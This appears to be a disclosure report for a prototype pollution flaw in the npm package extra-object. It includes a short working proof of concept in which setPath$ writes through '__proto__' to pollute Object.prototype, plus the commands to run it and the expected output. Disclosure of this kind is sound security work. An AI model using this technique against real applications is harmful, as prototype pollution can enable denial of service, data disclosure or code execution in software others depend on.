Prototype Pollution in nodef/extra-object


Reported on

Nov 24th 2020


extra-object is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var extraObject = require("extra-object")
var obj = {}
console.log("Before : " + {}.polluted);
extraObject.setPath$(obj, ['__proto__','polluted'],'Yes! Its Polluted' );
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i extra-object # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
to join this conversation